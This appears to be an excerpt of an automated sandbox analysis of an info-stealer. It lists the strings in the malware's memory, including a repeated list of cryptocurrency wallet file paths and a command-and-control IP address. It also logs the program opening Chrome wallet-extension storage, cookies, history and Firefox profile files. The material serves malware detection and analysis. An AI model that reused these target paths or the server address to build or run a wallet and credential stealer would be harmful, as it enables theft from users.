Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Coinomi\Coinomi\wallets\\.Ph
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.00000000016D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2639827168.000000000170A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16er\AppData\Roaming\\Electrum-LTC\wallets\\..*qi<

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
